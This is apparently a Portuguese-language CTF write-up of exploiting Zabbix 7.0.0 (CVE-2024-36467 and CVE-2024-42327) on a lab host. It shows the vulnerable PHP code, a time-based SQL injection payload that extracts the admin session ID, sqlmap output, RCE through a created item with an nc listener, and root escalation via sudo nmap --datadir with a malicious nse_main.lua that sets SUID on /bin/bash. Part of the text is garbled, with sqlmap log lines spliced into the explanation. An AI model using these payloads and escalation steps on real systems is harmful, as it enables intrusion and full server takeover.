Skip to content

igorbf495/CVE-2024-42327

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

22 Commits
 
 

Repository files navigation

writeup CVE-2024-42327 zabbix vulnerability

alvo: 10.129.231.176

Informacoes: Sei que meu alvo eh um servidor zabbix. Recebi uma conta de user padrão para logar no zabbix: user matthew passwd 96qzn0h2e1k3. Essa conta está com usuário padrão, sem grupos ou privilégios adicionais.

Como de costume, iniciamos com a enumeracao, vamos fazer um port scan usando o nmap.

image

A saída do nmap nos mostra que a porta padrão ssh e o apache2 também na porta padrão. Também temos portas 10051 e 10050 rodando algum serviço do zabbix.

Vamos acessar o zabbix colocando o ip na url do navegador e na porta http padrão, porta 80.

image

Essa é a tela de login do zabbix, vou logar com o user que recebi

image

image

No rodapé, encontrei a versão do zabbix:

image

Usando o pai dos burros, pesquisei se já tinha algum cve dessa versão do zabbix

image

Após um bom tempo de pesquisa, vi que essa versão é vulnerável ao CVE-2024-42327 que fala sobre uma exploração de injeção de SQL para obter dados do banco de dados e escalar privilégios e ao CVE-2024-36467 que fala que permite alterar o papel de usuário para superusuário abusando de controles de acesso ausentes.

https://nvd.nist.gov/vuln/detail/CVE-2024-36467

https://nvd.nist.gov/vuln/detail/CVE-2024-42327

Na documentação do zabbix tem ensinano como fazer solicitações HTTP para chamar a API.

image

https://www.zabbix.com/documentation/current/en/manual/api

Mandei a requisição chamando o appiinfo.version que ele nos ensina na documentação

image

o que nos retornou o seguinte:

{"jsonrpc":"2.0","result":"7.0.0","id":1}

Para o próximo teste mudei alguns parâmtros nessa resquest para mandar novamente

image

Em method, alterei de appinfo.version para user.login e adicionei os parâmetros username e password. Isso também vi na documentação do zabbix.

image

Nos retornou um token:

{"jsonrpc":"2.0","result":"9566174b00c9c3ca552abc1a52d670ba","id":1}

Depois de mais um tempo pesquisando, decidi ir no repositório do zabbix no github

https://github.com/zabbix/zabbix

Pesquisei sobre CUser e encontrei um arquivo CUser.php

image

Encontramos a função user.update:

public function update(array $users) {
$this->validateUpdate($users, $db_users);
self::updateForce($users, $db_users);
return ['userids' => array_column($users, 'userid')];
}

Não encontrei nenhuma verificação de autorização então decidi mudar minha função para uma função de superusuário, voltei lá na requisição e fiz os ajustes no payload

image

Me retornou um erro com uma mensagem de invalid params.

Dando mais uma longa analisada no código encontramos essa função

/**
* Additional check to exclude an opportunity to deactivate himself.
*
* @param array $users
* @param array $users[]['usrgrps'] (optional)
*
From this snippet, we understand that we cannot change our roles because our role is checked
from extracting our data from the API token, and verifying against the database if we are that user.
But following the code we see that usrgrps has no validation at all, and therefore can be abused
to add ourselves into multiple groups at once. As long as the group is not disabled and the group
allows GUI access we can abuse this to change our current role with the following command:
User ID 3 is matthew , User group 7 is the Zabbix administrators group and user group 13 is the
Internal group which both hold unrestrictive privileges. The response indicates that the change
was successful:
* @throws APIException
*/
private function checkHimself(array $users) {
foreach ($users as $user) {
if (bccomp($user['userid'], self::$userData['userid']) == 0) {
if (array_key_exists('roleid', $user) && $user['roleid'] !=
self::$userData['roleid']) {
self::exception(ZBX_API_ERROR_PARAMETERS, _('User cannot change
own role.'));
}
if (array_key_exists('usrgrps', $user)) {
$db_usrgrps = DB::select('usrgrp', [
'output' => ['gui_access', 'users_status'],
'usrgrpids' => zbx_objectValues($user['usrgrps'], 'usrgrpid')
]);
foreach ($db_usrgrps as $db_usrgrp) {
if ($db_usrgrp['gui_access'] == GROUP_GUI_ACCESS_DISABLED
|| $db_usrgrp['users_status'] ==
GROUP_STATUS_DISABLED) {
self::exception(ZBX_API_ERROR_PARAMETERS,
_('User cannot add himself to a disabled group or a
group with disabled GUI access.')
);
}
}
}
break;
}
}
}

De acordo com esse snippet, não podemos alterar nossas funções pq nossa função é verificada ao extrair nossos dados do token da API e verificar no banco de dados se somos esse usuário. Mas analisando o código, vemos que usrgrps não tem validação alguma e por conta dessa falta de validação, pode ser abusado para nos adicionar em vários grupos de uma vez. Não tem nenhuma verificação para impedir que um usuário adicione a si mesmo a grupos que não deveria ter acesso.

vamos tentar escalar privilégios pela falta dessa validação, editei o payload e mandei a request novamente

image

userid 3 refere-se ao id do user matthew usrgrps contém uma lista de IDS de grupo: 13 que é um grupo internet e 7 é o grupo zabbix administators. a nossa resposta do servidor confirma o sucesso da operação:

{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1}

Agora podemos extrair os grupos de usuários do nosso usuário atual. Vamos modificar a request e mandar novamente.

image

Ao verificar a resposta, vemos que o usuário com ID 3 está nos grupos de administradores Interno e Zabbix.

{"jsonrpc":"2.0","result":[{"userid":"1","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]},{"userid":"2","usrgrps":
[{"usrgrpid":"8","name":"Guests"}]},{"userid":"3","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]}],"id":1}

Em um cenário em que um Grupo de Host válido foi atribuído ao grupo de administradores do Zabbix, eles poderão aproveitar a criação de itens para acionar a execução remota de código, o que será abordado no próximo CVE.

explorando CVE-2024-42327

Analisando o código-fonte na classe CUser novamente, investigamos a função user.get na linha 68. A linha 108 contém uma verificação com o seguinte código:

// permission check
if (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) {
if (!$options['editable']) {
$sqlParts['from']['users_groups'] = 'users_groups ug';
$sqlParts['where']['uug'] = 'u.userid=ug.userid';
$sqlParts['where'][] = 'ug.usrgrpid IN ('.
' SELECT uug.usrgrpid'.
' FROM users_groups uug'.
' WHERE uug.userid='.self::$userData['userid'].
')';
}
else {
$sqlParts['where'][] = 'u.userid='.self::$userData['userid'];
}
}

A partir deste código, se a opção editável for fornecida na solicitação à API, em vez de validar o grupo de usuários, a verificação só validará se o ID do usuário atual corresponder ao usuário atual, o que ignora as permissões ao usar a função user.get. Na linha 234, uma chamada é feita para addRelatedObjects, que é a função vulnerável que é suscetível à injeção de SQL. Analisando a função addRelatedObject na linha 2969, podemos ver que a maioria das instruções SQL parecem seguras, até chegarmos à linha 3041.

// adding user role
if ($options['selectRole'] !== null && $options['selectRole'] !==
API_OUTPUT_COUNT) {
if ($options['selectRole'] === API_OUTPUT_EXTEND) {
$options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];
}
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.',
$options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
foreach ($result as $userid => $user) {
$result[$userid]['role'] = [];
}
while ($db_role = DBfetch($db_roles)) {
$userid = $db_role['userid'];
unset($db_role['userid']);
$result[$userid]['role'] = $db_role;
}
}
return $result;

Neste bloco, se a opção selectRole for especificada, uma chamada insegura será feita para a função DBSelect sem sanitizar as entradas do usuário. Isso resulta em injeções SQL baseadas em tempo e em Boolean Blind.

Para testar isso, pegamos um payload deste link e validamos se temos um ponto de injeção bem-sucedido nos parâmetros selectRole.

image

Conseguimos um acerto e o alvo dorme por 5 segundos.

{"jsonrpc":"2.0","result":[{"userid":"3","username":"matthew","role":
{"roleid":"1",""r.name and (SELECT 1 FROM (SELECT SLEEP(5))A)":"0"}}],"id":1}
real 5.12s
user 0.00s
sys 0.01s
cpu 0%

utilizando o Charles Proxy interceptamos a request e salvamos em um arquivo com a seguinte solicitação:

image

Agora, usando o SQLMap, tentamos identificar possíveis vulnerabilidades e extrair dados do banco de dados:

image

depois um tempo , obtivemos o seguinte resultado:

available databases [2]:
[*] information_schema
[*] zabbix

De acordo com a saída, conseguimos com sucesso os nomes do banco de dados explorando a injeção de SQL baseada em tempo.

Agora vamos tentar o RCE (execução de código remoto)

Pdemos utilizar agentes mal configurados para obter execução remota de código. Para fazer isso a partir da injeção de SQL baseada em tempo, precisamos vazar a tabela de sessões no banco de dados para ver se o usuário Admin foi autenticado. Infelizmente, por ser um ataque baseado em tempo, isso pode demorar um pouco, então incluí um script multithread que extrairá a sessão do administrador mais rápido para uso posterior.

o payload ficou assim:

image

Esta é uma injeção SQL aninhada baseada em tempo, onde injetamos nosso payload no parâmetro de nome, acrescentando AND para encadear a condição.

SELECT * FROM (SELECT(SLEEP(...)))BEEF

Usamos uma condição SELECT externa que envolve a condição SLEEP em uma subconsulta rotulada como BEEF.

SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE
userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0,
{TRUE_TIME})))

A condição SLEEP pega o valor TRUE_TIME de 1 segundo neste script e recupera o sessionid de uma conta de administrador ativa que foi autenticada no site ou API. A condição SELECT acima recupera o primeiro resultado no índice (ROW) 0 que é encapsulado em uma condição MID. Usamos a condição MID para extrair o caractere em uma posição específica dentro do sessionid que é incrementado e encapsulado em uma condição ORD. A condição ORD converte o caractere extraído em valores ASCII para comparação e é encapsulado em uma condição IF. A condição IF [17:26:03] [INFO] estendendo automaticamente intervalos para injeção de consulta UNION teste de técnica, pois há pelo menos uma outra técnica (potencial) encontrada [17:26:04] [INFO] verificando se o ponto de injeção no parâmetro POST (personalizado) '#1*' é um falso positivo O parâmetro POST (personalizado) '#1*' é vulnerável. Você quer continuar testando os outros (se houver)? [s/N] n sqlmap identificou os seguintes pontos de injeção com um total de 77 solicitações HTTP(s): bancos de dados disponíveis [2]: [] information_schema [] zabbix name AND (SELECT * FROM (SELECT(SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME})))))BEEF) SELECT * FROM (SELECT(SLEEP(...)))BEEF SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME}))) verifica se o caractere extraído corresponde ao caractere ASCII esperado ( ord(char) ). Se a condição for atendida e a condição SLEEP for acionada, então identificamos o caractere correto e podemos vazar o sessionid de 32 caracteres

Fiz um script em pyhon e executei.

image

image

Depois de executar o script, vemos que obtivemos com sucesso a sessão de administrador em apenas 30 segundos.

image

Usando o token da API do usuário Admin, podemos prosseguir para criar um item e, em seguida, acionar o item por meio de uma tarefa. Primeiro, precisamos criar o item, mas precisamos obter os IDs de host atuais junto com seus IDs de interface.

image

tivemos a resposta:

{"jsonrpc":"2.0","result":[{"hostid":"10084","host":"Zabbix server","interfaces":[{"interfaceid":"1"}]}],"id":1}

Agora podemos criar um item com o seguinte payload:

image

Antes de dar enter no payload, configuramos um ouvinte nc na porta 4448 e esperamos alguns segundos.

image

Agora hora de dar enter no payload

image

Deu certo, A tarefa foi criada com nosso payload malicioso e conseguimos um RCE (execução de código remoto), agora temos acesso ao servidor.

image

Agora que temos acesso ao servidor, vamos para a escalação de privilégios, vamos tentar conseguir acesso root ao servidor

Como estamos no user zabbix, vamos verificar se podemos executar algum daemon (programa) com permissões sudo:

image

Vemos que podemos executar /usr/bin/nmap sem restrições. Depois de um tempo pesquisando na internet, encontrei o projeto GTFOBins. GTFObins é um repositório que lista binários encontrados em sistemas Unix/Linux que podem ser usados de forma criativa para escalação de privilégios, scapadas de ambientes restritos (como chroot ou containers) e execução de comandos maliciosos.

image

https://gtfobins.github.io/gtfobins/nmap/#sudo

Vamos tentar usar o sscape sudo de gtfobins.

image

Parece que o Nmap está protegido por um wrapper script, uma camada adicional de proteção implementada para limitar o uso de opções potencialmente exploráveis no Nmap.. Vamos tentar ler o arquivo /usr/bin/nmap. Vamo abrir usando o editor de texto nano e analisar esse arquivo

image

Depois de muita pesquisa, vi que todos os scapes GTFOBins são inúteis neste cenário. Implementaram um wrapper para proteger o Nmap contra métodos comuns de escalada de privilégios. Fiquei sem opções e fui ler a biblioteca do nmap

Após um bom tempo de leitura encontrei algo interessante, a opção --datadir.

https://nmap.org/book/data-files-replacing-data-files.html

--datadir <dirname>: Specify custom Nmap data file location

Esta opção permite que você especifique um diretório de dados onde scripts padrão e outros itens essenciais do nmap são armazenados, o padrão neste caso é /usr/share/nmap. Vamo ver as permissões desse arquivo:

image

Pesquisando sobre esses arquivos, vi que o arquivo nse_main.lua é o arquivo de script padrão que pode ser acionado com o parâmetro -sC,ele é o arquivo principal de script do Nmap Scripting Engine (NSE). Ele contém funções que são executadas quando o Nmap é usado com a opção -sC (scan com scripts padrão). Ao criar um script malicioso com esse nome, é possível fazer com que o Nmap o execute automaticamente.. Para explorar isso, vamos criar um novo arquivo em /tmp/nse_main.lua com os.execute("chmod 4755 /bin/bash").

Criei o arquivo nse_main.lua contento dentro dele o comando os.execute("chmod 4755 /bin/bash").

4755: Define o SUID (Set User ID) no binário /bin/bash. Isso permite que qualquer usuário que execute o /bin/bash tenha os mesmos privilégios do proprietário do arquivo, que é o root.

image

image

Quando escaneamos localhost com -sC habilitado, nós definimos /bin/bash para SUID e geramos um shell com o UID efetivo do usuário root.

image

--datadir=/tmp: Faz o Nmap procurar seus arquivos de configuração e scripts no diretório /tmp. Isso inclui o script malicioso nse_main.lua.

-sC: Ativa a execução de scripts padrão, incluindo o script malicioso que acabamos de criar.

localhost: Faz o Nmap executar o scan no próprio sistema.

O script nse_main.lua é executado pelo Nmap com permissões de root (porque o comando foi executado com sudo)

image

Com o SUID ativado, podemos executar: /bin/bash -p

image

-p: Preserva o bit SUID e executa o bash com os privilégios do proprietário (root).

image

uid=114: Identidade do usuário zabbix. euid=0: Efetivamente operando como root.

Agora conseguimos privilégios root.

About

writeup cve-2024-42327

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published